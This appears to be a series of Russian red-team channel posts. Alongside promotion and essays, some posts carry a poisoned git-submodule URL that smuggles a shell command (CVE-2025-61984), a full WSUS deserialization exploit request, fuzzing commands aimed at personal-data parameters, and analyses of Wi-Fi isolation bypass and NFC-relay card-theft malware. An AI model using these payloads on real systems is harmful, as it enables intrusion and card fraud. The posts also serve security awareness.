Презентация с которой я выступал на митапе 25.10.25 в Bi.Zone.

Разобрал два эффективных подхода для исполнения кода в обход EDR предложенные Фабианом Мошем и Маркусом Хатчинзом.
Эти парни и их исследования часто выручали меня на реальных проектах, считаю их спонсорами моих компетенций.

Актуальности они не потеряли, пользуйтесь.

👾Подпишись👾

За этот год я насмотрелся на настоящий цирк в ИБ. Специалисты клепают отчёты ради kpi, пока их инфраструктура гниёт, бюджеты летят на «сертифицированные» СЗИ, которые защищают разве что от здравого смысла. Найм в IT превратился в анекдот: берут кого попало, главное — чтобы покладистый. И девиз у них подходящий:
«Коллеги, у нас много работы, думать некогда — надо работать!».

Как писал Фейербах:

«Высшая степень иллюзорности представляет для них высшую степень святости».

После эфира со Skillbox я написал статью, где разложили всё по фактам. Без прикрас, маркетингового мусора и сказок про волшебные таблетки. Это про то, как построить минимальную, но работающую защиту, а не раздувать бюджеты ради видимости.

Что в статье: 
- Как не закопать деньги в бесполезные подписки. 
- Как собрать инфраструктуру, которая держит удар. 
- Как настроить процессы, которые не развалятся при первом запуске Nmap. 

Если вы хотите разобраться, как на практике выстроить процессы ИБ, при этом не попасть в клуб papersec'ов и прочих "воинов бумажных", — эта статья для вас.
👾

https://skillbox.ru/media/code/kak-postroit-bezopasnuyu-sistemu-dlya-it-proekta-layfhaki-ot-belogo-hakera/

Этот год был непростым для многих из нас. Для кого-то он стал временем серьёзных испытаний, а для кого-то даже потрясений. Я знаю это по собственному опыту. Но если мы смогли пройти через это, значит, мы справились. Мы выдержали. А это уже немало.

Теперь мы знаем, что способны на большее. Пусть Господь и дальше будет на нашей стороне в новом году. И давайте двигаться вперёд — без иллюзий, с ясным пониманием ситуации и готовностью брать своё.

Стремитесь к свету, оставайтесь на стороне справедливости и помните: сила в правде.
Берегите себя и своих близких.

С Новым годом!
👾

С праздником, ребят!

ВИДЕОПОСТ

В 2019 году был на PHDays и слушал в зале (кхм, в коридоре московского Defcon'а) доклад Дениса Макрушина про атаки на OpenEMR — тогда (и сейчас) был актуальным вектором атак на медицинские организации.

Помню, как тогда загорелся подходом Red Team, начал копать глубже, а спустя 6 лет можно посмотреть на то, как мы с Денисом и Евгением обсуждаем актуальные темы использования искусственного интеллекта в кибербезопасности.

Рассказал, какие преференции даёт атакующим применение искусственного интеллекта, насколько широкие возможности это открывает для профессионалов в сфере информационной безопасности и как это может помочь защитникам.

Наша беседа рассчитана на широкую аудиторию, так что не робейте — рассылайте ссылку сёстрам, дочерям, матерям.

CLICK2WIN

👾

Мир меняется — и мы тоже.
Раньше здесь были гайды и пентестерский бэклог. Сегодня я хочу показать, куда это всё привело.

◾️ Я больше полугода работаю над проектом Ледокол OS — Инфраструктурной платформой для Red Team и наступательных киберопераций.
◾️ Это уже не утилита, а сложный продукт, над которым вместе со мной работают мои коллеги.
◾️ Подробности и первые обзоры мы начинаем публиковать на странице проекта:

https://ledokol.privesc.ru/

Сегодня первый анонс.
В понедельник выйдет полноценный технологический обзор.

Коллеги, в блоге вышел новый материал — «Ledokol: интерфейс пользователя».

Ледокол дает вам волю управлять наступательными операциями в режиме реального времени. Теперь для атакующего процесс анализа защищённости превращается в увлекательное занятие с механикой RTS-стратегии: метрики понятны, плейбуки исполняются мгновенно, даже сложные задачи решаются через LLM-ассистента Мишка-GPT.

«Ледокол» убирает хаос и даёт единый центр управления. Всё под вашим контролем. Всё внутри изолированного контура. Все победы — ваши.

🤙🏻 Остаёмся на связи.

👉🏻 Читать статью.

🎙 В среду иду на подкаст — свободный разговор о том, что происходит в современной разработке: от вайб-кодинга и AI-агентов до инфраструктуры.

Поговорим о том, где разработчики чаще всего спотыкаются об безопасность и почему даже хорошие практики нередко превращаются в иллюзию контроля.

Если вы сами варитесь в этой среде — напишите, какие темы стоит поднять, что донести коллегам и какие боли подсветить.

💬 Идеи можно оставить через форму связи с каналом — включим самые острые в выпуск.

👾

⚡️F5 — IT-гигант со шпионами внутри производственной среды

15 октября F5 признала: APT-группа аффилированная с иностранной разведкой держала полный доступ к их среде разработки. Присутствие было скрытое, не отличалось от легитимной авторизованной деятельности.  Изъяты исходники BIG-IP, черновики будущих патчей, описания ещё нераскрытых уязвимостей. Всё это — без единого алерта.

Компания уверяет, что всё под контролем, уровень защищённости высокий.
Верим.

Но вывод напрашивается сам — если в твоей лаборатории был противник, он оставил не только закладки в инфраструктуре. Самое ценное для них это понимание: как вы думаете, на основе чего принимаете решения, куда смотрите и куда не смотрите вовсе. Самое критичное, что эти парни уже у многих клиентов F5, сам вендор просто точка входа.

Смысл не в майнере и не в шифровании вашей инфраструктуры выкупа ради. Они торгуют данными, которые портят погоду владельцам бизнеса и дают аргументы для того что бы предприятие было дискредитировано, его клиенты скомпрометированы. Они создают свои kill chain из ваших разработчиков, подрядчиков, интеграторов — и продают спецслужбам чувствительную информацию. У них всегда имеется козырь и возможность устроить диверсию любого масштаба. Сегодня они «тестят гипотезы», завтра — крутят уязвимость средней критичности до уровня административного доступа в инфраструктуру.

Времена изменились, вас обогнали.

Сканеры, отчёты, SOC-алерты — это необходимо, но недостаточно. Он убирает боль, но не лечит.

Когда котлы встанут, не поможет ни CrowdStrike, ни Mandiant, ни отечественные СЗИ. Предотвратить такое способна только глубокая эмуляция угроз, моделирование каждого реального сценария — даже того, который «в теории невозможен».

Для этого и существует Ледокол ОС.
Суверенная среда, где Red и Blue не играют в догонялки, а работают в связке: атакующие симулируют противника, защитники видят, где он.


В ближайшие дни мы разберём кейс F5 детально — покажем, как их история меняет подход к обороне.
и главное — как “Ледокол” убирает слепые зоны, где даже CrowdStrike не видит.

Мы в сети.

Остаёмся на связи.

CVE-2025-61984: ProxyCommand → newline → rce на клиенте

Openssh до 10.1 пропускает управляющие символы в username, которые через %r летят в ProxyCommand. В bash можно сломать строку exec триггером $[+], шелл падает на ошибке и исполняет следующую строку, которую контролирует атакующий.

В атакуемом репо в .gitmodules у сабмодуля делаем url с «отравленным» username:

$[+] source poc.sh @foo.example.com:repo 

у цели в ~/.ssh/config есть матч с

ProxyCommand ... %r@%h:%p.

git clone --recursive … → на уязвимой машине bash ругается на $[+] и выполняет source poc.sh.

Что уязвимо:
— bash: ошибка на строке → выполняет следующую;
— fish: аналогично;
— csh/tcsh: «illegal variable name» → дальше исполняет;
— zsh: по умолчанию fatal error — уязвимости нет.

Интересный вектор через ssh:// url. часть url-схем на десктопе пропускают перевод строки в username; браузеры часто скрывают username в адресной строке — удобная маскировка для социальной инженерии. Не везде включено по умолчанию, но проверять стоит.

В реальности хороший способ внедриться в цепь поставок и развить атаку дальше.

— ваш сабмодуль в «безобидном» репо → dev/CI с --recursive и конфигом c %r в ProxyCommand;
— авто-генерация конфигов (например, tsh config у teleport исторически клал %r@%h:%p). тут совмещается supply-chain + ssh-прокси.

Минимальная защита.
— обновиться до openssh ≥ 10.1 (запрет control-символов, плюс жёстче к ssh://).
— в ProxyCommand кавычить одинарными (двойные не помогут)

%r → '%r'@%h:%p

Разбор и PoC

👾

Критичная RCE в WSUS (CVE-2025-59287):
выполнение кода без аутентификации через небезопасную десериализацию в GetCookie().

Многие организации на WSUS до сих пор HTTPS сертификат не поставили, как много времени уйдет на установку патча?

Скомпрометированный WSUS — это тривиальный путь до привилегий доменного администратора: учётка не нужна, а сервер обновлений часто влияет на большинство рабочих станций.

Контекст и условия эксплуатации

- RCE через AuthorizationCookie и небезопасную десериализацию BinaryFormatter. Нужен сетевой доступ к SOAP-эндпоинту WSUS (обычно 8530/8531).

- WSUS компонент AD которому в 99% случаев доступен весь домен и он контролирует обновления на рабочих станциях и серверах. Компрометация WSUS даёт рычаги для исполнения на рабочих станциях домена и последующего бокового движения.

Ссылка на исследование
https://hawktrace.com/blog/CVE-2025-59287

Разбор PoC

Генерим полезную нагрузку через BinaryFormatter (в Base64).

Шифруем: AES-128-CBC, нулевой IV, нулевое дополняющее выравнивание, первый блок — шифрованный salt.

Base64 передаем как значение AuthorizationCookie.

после расшифровки вызывается BinaryFormatter.Deserialize() без валидации — gadget исполняется под SYSTEM внутри IIS/WSUS.

??????

PROFIT

POST /ClientWebService/Client.asmx HTTP/1.1
Host: WSUS-SERVER:8530
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie"
Content-Length: 3632

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <GetCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
      <authCookies>
        <AuthorizationCookie>
          <PlugInId>SimpleTargeting</PlugInId>
          <CookieData>[GENERATED PAYLOAD]</CookieData>
        </AuthorizationCookie>
      </authCookies>
      <oldCookie xsi:nil="true" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"/>
      <protocolVersion>1.20</protocolVersion>
    </GetCookie>
  </soap:Body>
</soap:Envelope>

PoC
https://gist.github.com/hawktrace/880b54fb9c07ddb028baaae401bd3951

cook — личный повар пентестера.

надоели устаревшие словари из seclists? у кого-то секретным ингредиентом был Евгений Викторович, у нас — утилита cook.
сделаем свою кухню словарей под русское багбаунти и пентест, без импортного ГМО.

1. установка

go install -v github.com/glitchedgitz/cook/v2/cmd/cook@latest
cook help

если ответил — повар заступил на смену.

2. директории под ffuf / feroxbuster

русскоязычный периметр:

cook add ru_paths_core=admin,login,signin,auth,account,profile,lk,lk-fiz,lk-ur,lichnyj-kabinet,kabinet,backoffice,staff,internal,api,api-v1,api-v2 in lists

генерим словарь:

cook ru_paths_core >> ru_paths_core.txt

пример под ffuf:

ffuf -w ru_paths_core.txt -u https://target.ru/FUZZ -mc all -fc 404

одно cook ru_paths_core — и у тебя готовый ru-wordlist на все «личные кабинеты» и прочий бизнес-срам.

3. параметры под ру-пдн и финтех

cook add ru_params_all=inn,kpp,ogrn,ogrnip,snils,polis,passport,phone,msisdn,email,fio,card,pan,ls,rs,bik,account,account_id,client_id,session,sessionid,token,access_token,refresh_token,phpsessid,jwt in lists

вываливаем в файл:

cook ru_params_all > ru_params_all.txt

кормим x8:

x8 -u "https://target.ru/path?FUZZ=1" -w ru_params_all.txt

логика простая: всё, что связано с деньгами и ПДн на ру-рынке, ты перебираешь не рандомным мусором, а нормальным, местным словарём.

4. русские поддомены + мешаем с assetnote

сначала описываем, как живут окружения и роли в русской инфре:

cook add ru_sub_env=dev,test,stage,preprod,prod,qa,lab,sandbox in lists

cook add ru_sub_role=lk,lichnyj-kabinet,lk-ur,lk-fiz,portal,office,corp,intra,staff,sotrudniki,oplata,platezhi,kassa,bank,online,api,gateway,gw,vpn,proxy,rdp,remote,secure in lists

теперь собираем сабдомены вида dev.lk.*, preprod.api.*, prod.portal.*:

cook ru_sub_env . ru_sub_role -m sortu >> ru_bank_subdomains.txt

проверка:

wc -l ru_sorted_subdomains.txt
head -n 20 ru_sorted_subdomains.txt

дальше подмешиваем assetnote (commonspeak2):

mkdir -p wordlists

wget -O wordlists/assetnote_subdomains.txt \
'https://raw.githubusercontent.com/assetnote/commonspeak2-wordlists/master/subdomains/subdomains.txt'

и добавим в наш локальный словарь заморских специй:

cat ru_sorted_subdomains.txt wordlists/assetnote_subdomains.txt \
  | cook -m sortu >> mega_subdomains_ru.txt

получается здоровый комбинированный список сабдоменов под любой dnsx / puredns / ffuf:

dnsx -w mega_subdomains_ru.txt -d target.ru
# или
ffuf -w mega_subdomains_ru.txt -u https://FUZZ.target.ru/ -mc all -fc 404

главная мысль

один раз завёл свои ru_* в my.yaml — дальше на каждый новый проект:

и ты каждый раз приходишь не с утомившем big.txt, а со своим авторским подходом.

LET HIM COOK.
👾

#RediShell рабочий PoC

внутри полноценная цепочка: утечки, подмена структур, JOP-пивот и машинный код. универсальным его не назовёшь (жёсткая привязка к версиям/офсетам), но как доказательство RCE — да.

для продового «универсала» потребуется портировать офсеты/гаджеты под вашу сборку redis/glibc и повторить гимнастику с аллокатором. но факт «выхода из песочницы до RCE» он доказывает.

https://github.com/saneki/cve-2025-49844

👾

Актуальные техдирские расценки:

Я работаю у вас CTO — $10 000 / мес.

Я работаю у вас СTО, но без полномочий, а только с ответственностью — $20 000

Я работаю у вас СTО, но без полномочий, без команды и ресурсов, а только с ответственностью — $50 000

Я работаю у вас СTО, но без полномочий, без команды и ресурсов, а только с ответственностью, и ещё вы мне говорите, как мне мою работу делать — $100 000

Вы работаете сами у себя СTО, а я подсказываю — $200 000

Вы работаете сами у себя СTО, а я просто смотрю — $500 000

клиентская изоляция на wi-fi это маркетинг, а не броня. точка доступа фильтрует трафик на уровне своего интерфейса, но не может отменить законы физики: эфир общий, при правильном подходе пакет долетит до всех.

Pulse Security показали, как аккуратно обойти изоляцию через инъекцию 802.11-пакетов в эфир напрямую, не трогая AP.

идея простая:

1. поднимаем беспроводную карту в режим монитора;
2. поднимаем tap-интерфейс и гоняем обычный ip-трафик через него;
3. python-скрипт слушает tap, заворачивает пакеты в 802.11 data-кадры, подставляет mac как будто кадр пришёл от AP, и инжектит его в эфир.

AP видит только «тихий» трафик в эфире, не проходящий через его мост, а клиент принимает кадр как легитимный. клиентская изоляция ломается: можно сканировать порты, слать эксплойты, mitm — всё мимо правил ap.

практика для red team:

- гостевые сети / «гостевой wi-fi в офисе» -> получаешь psk, вешаешь карту в мониторинг и ходишь по клиентам, как по обычной подсети;
- атаки на iot-хлам, который сидит в отдельном guest-ssid;
- сценарий «сидим в холле, бьём в IOT или принтеры по 631 порту, которые вроде бы “изолированы”».


что с защитой:

- client isolation только дополнительный слой, а не барьер;
- критичные сегменты по vlan, firewall на хостах, eap-tls вместо psk;
- не верить в чудо-галочки «ap isolation» в веб-морде железки.

вывод простой: если ваш контроль можно обойти одной AWUS036ACH в режиме монитора и сотней строк python — это не контроль, это заблуждение.

👾

nGate: ретрансляция NFC

#RedTeam #AntiFraud #Мошенничество

банки любят мантру «устройство клиента - доверенное устройство». история с nGate показывает: карту клиента можно не красть — достаточно перенаправить её NFC-трафик к банкомату.

ДАННЫЙ МАТЕРИАЛ ПОДГОТОВЛЕН ИСКЛЮЧИТЕЛЬНО В ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЯХ С ЦЕЛЬЮ ПОВЫШЕНИЯ УРОВНЯ ОСВЕДОМЛЕННОСТИ О СОВРЕМЕННЫХ УГРОЗАХ В ФИНАНСОВОМ СЕКТОРЕ! ОТВЕТСТВЕННОСТЬ ЗА ПРАКТИЧЕСКОЕ ПРИМЕНЕНИЕ ДАННОЙ ТЕХНИКИ ЛЕЖИТ НА ПОЛЬЗОВАТЕЛЕ!

👾 схема атаки

1. жертва получает фишинговое письмо / смс → ставит «банковское» apk не из маркета.
2. звонит «сотрудник банка» и дожимает установить и открыть приложение.
3. приложение просит «подтвердить карту»:
— поднести пластик к телефону по NFC;
— ввести PIN на экранной клавиатуре.

дальше телефон работает как реле:

* модуль в режиме reader считывает EMV-данные карты (PAN, срок, AID, APDU);
* PIN уходит в тот же канал;
* всё это отправляется по TCP на C2 ($BLACKHAT_IP:5653), а оттуда — на устройство у банкомата;
* второе устройство ведёт себя как HCE-карта, банкомат думает, что перед ним настоящая карта, и отдаёт кэш.

🧱 что под капотом

* apk регистрируется как платёжный сервис HCE и как NFC-reader.
* конфиг (хост, порт, флаги mode, reader, tls) лежит в ресурсе assets/____, зашифрован XOR’ом.
* ключ XOR = SHA-256 сертификата подписи apk → без него конфиг не вытащить.
* протокол простой: len | opcode | body, без tls — в открытом виде.
* у PIN-клавиатуры: 4 цифры ввёл → событие → NetMan сразу шлёт OP_PIN_REQ на C2.

итог: карта, срок, AID, APDU и PIN гарантированно покидают устройство и воспроизводятся у банкомата.

🎯 ценность для red team

* паттерн не завязан на конкретный банк. это показательный PoC, как через мобилу превращать «доверенное» устройство в реле для любых proximity-протоколов.
* отличная модель для моделирования угроз авторизованной активности
* для упражнений: одна роль — телефон-ридер у жертвы, вторая — HCE-эмиттер рядом с терминалом / банкоматом.

если ваши заказчики заинтересованы в нетривиальных сценариях, пожмите им руку и попробуйте согласовать такой трюк.

🛡 что по защите

* пу пу пу, вот так задачка, неправда ли?
* считать клиентский девайс «святым» — ошибка. он может быть и ридером, и эмиттером, и C2-клиентом одновременно;
* необходима токенизация, лимиты, поведенческий анализ на стороне банка, контроль источника приложений;
* любая схема, где «клиент сам вводит PIN в непонятное приложение» — должна считаться компрометирующей по умолчанию.

https://cert.pl/posts/2025/11/analiza-ngate/

итог:
если в модели угроз вашего банка «телефон клиента — доверенная сторона», они у вас оптимисты сказочные.

👾

Red Teaming не равен «внутренний анализ защищённости».
то, как у нас это слово применяют — классика провинциального карго-культа.

откуда вообще взялся red team?

изначально это военная история.
пентагон, синяя команда — те, кто реально админят и защищают инфраструктуру.
красная — их же сотрудники, которым дали карт-бланш на любое свинство: шпионаж, инсайдерская угроза, грязные приёмы, параноидальные сценарии. задача одна: найти все, даже шизофренические варианты компрометации, пока это не сделал противник.

инфобез это просто перенял. red team — это не «вид пентеста». это режим мышления и формат учений, где красные и синие играют не по методичке, а до талого.

как это сломали на отечественном рынке

фразой «Red Teaming» начали называть всё подряд:

- внутренний анализ защищённости
- инфраструктурный пентест
- управление уязвимостями

наняли чувака, который крутит сканер и пишет репорты — всё, «наш ретимер». НЕТ!

редтимер — это не “ходячий гугл” и не живой чек-лист с вылизанной репутацией отличника из Бауманки.
редтимер — это боевой элемент команды, который применяет свои асоциальные навыки во благо общества и закрывает конкретный класс атак:

- один — социальный инженер, который умеет выбивать доступ из людей
- второй — мастер AD и Windows, FreeIpa который живёт в lsass и kerberos
- третий — вебхакер, который ломает бизнес-логику, а не только запускает sqlmap
- четвёртый — сетевик, который чувствует фильтрацию, как шахматист позицию оппонента
- пятый — мозг операции: читает схемы мошенничества, финансовые потоки, бизнес-процессы и понимает, где реально больно

#RedTeam — это оркестр людей и ролей, заточенный под одно:
закрыть слепые зоны защиты организации.

три уровня работ

давай по-честному разделим термины:

1. анализ защищённости
почти белый ящик. ваша задача — собрать максимум уязвимостей, рассмотреть конфиги, версии, архитектуру. это инвентаризация болевых точек.
2. тестирование на проникновение
серый/чёрный ящик. меньше инфы, больше импровизации. цель — показать, как глубоко может зайти атакующий по конкретному вектору.
3. red team / киберучения
это уже иное:
«смотрите, где вы слепы: проникновение, недостаток мониторинга, отсутствие реагирования, восстановление»

редтимер не обязан показать, что он «самый умный хакер в мире». он обязан показать, где компания слепая, глухая и тупая.

если вас зовут «ретимером», а по факту вы:

- крутите Nessus/MaxPatrol
- заполняете табличку в Excel
- и вас зовут на планёрки как «ответственного за реестр уязвимостей»

это не #RedTeam. это vuln management под странным названием. вас обманывают люди, которые сами не понимают, что такое наступательная безопасность.

с чем реально работает red team в 2025+

на нашем рынке все громкие истории взломов крутятся вокруг простых вещей, которые никто не отрабатывал:

- покупка валидных учёток у продавцов утечек
- логин с легит-адресов, легит-устройств, знакомых браузеров
- действия внутри системы, которые на 90% похожи на обычную работу сотрудника

главная беда сегодня — это аутентифицированный злоумышленник, у которого:

- есть логин/пароль
- есть иногда и второй фактор
- есть понимание, что и где нажать

а вот контроль авторизованных действий у большинства организаций в коме. всё, что происходит после логина, часто не мониторится, не моделируется и не эмулируется.

#RedTeam должен работать не только с «информационной безопасностью», но и:

- экономической безопасностью — где и как воруют деньги, активы, инсайды
- общественной безопасностью — репутация, шантаж, давление через публичку
- психологией организации — кто реально принимает решения, кто кого боится, кто кому продаёт доступ

это и есть работа с паранойей собственников и служб безопасности:
«что будет, если завтра на наше место придёт реальный противник?»

вывод:
если red team в компании свели к галочке «у нас есть редтим, он сканер крутит», — это не безопасность, это театральный кружок.
реальный #redteam — это про слепые зоны, аутентифицированные атаки и умение смотреть на компанию глазами того, кто не обязан играть по правилам.